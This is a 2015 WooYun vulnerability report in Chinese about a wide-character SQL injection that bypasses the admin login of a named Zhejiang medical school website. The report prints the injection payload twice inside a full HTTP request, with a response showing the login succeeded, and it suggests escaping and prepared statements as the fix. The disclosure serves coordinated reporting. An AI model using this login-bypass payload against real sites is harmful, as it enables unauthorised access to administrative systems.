当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135766

漏洞标题:浙江医学院后台注入

相关厂商:浙江医学院

漏洞作者: 慢跑

提交时间:2015-08-21 11:41

修复时间:2015-10-08 08:30

公开时间:2015-10-08 08:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-21: 细节已通知厂商并且等待厂商处理中
2015-08-24: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

浙江医学院官方网站www.cmm.zju.edu.cn后台登录页面存在宽字符sql注入漏洞,可直接绕过账号密码检测进入后台

详细说明:

1、userId字段插入绕过字符%df%27%20or%201=1%20%23
GET /admin/inc/checkUser.php?userId=admin%df%27%20or%201=1%20%23&password=11 HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/admin/login.php
Cookie: Hm_lvt_197a6e66df85f3c2f2bfb813a70dab0c=1439994485,1439994584,1439994735,1440000435; PHPSESSID=p847hlu1plbcc4h4p2a79vnre6
Connection: keep-alive
2、返回字符1,说明通过登录认证
HTTP/1.1 200 OK
Date: Thu, 20 Aug 2015 16:46:18 GMT
Server: Apache/2.2.21 (Win32) PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Thu, 20 Aug 2015 16:46:18 GMT
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=gb2312
1
3、进入后台页面

QQ截图20150821011021.png


漏洞证明:

1、userId字段插入绕过字符%df%27%20or%201=1%20%23
GET /admin/inc/checkUser.php?userId=admin%df%27%20or%201=1%20%23&password=11 HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/admin/login.php
Cookie: Hm_lvt_197a6e66df85f3c2f2bfb813a70dab0c=1439994485,1439994584,1439994735,1440000435; PHPSESSID=p847hlu1plbcc4h4p2a79vnre6
Connection: keep-alive
2、返回字符1,说明通过登录认证
HTTP/1.1 200 OK
Date: Thu, 20 Aug 2015 16:46:18 GMT
Server: Apache/2.2.21 (Win32) PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Thu, 20 Aug 2015 16:46:18 GMT
Content-Length: 1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=gb2312
1
3、进入后台页面

QQ截图20150821011021.png


修复方案:

过滤 转义 预处理

版权声明:转载请注明来源 慢跑@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-08-24 08:28

厂商回复:

通知用户处理中

最新状态:

暂无


漏洞评价:

评论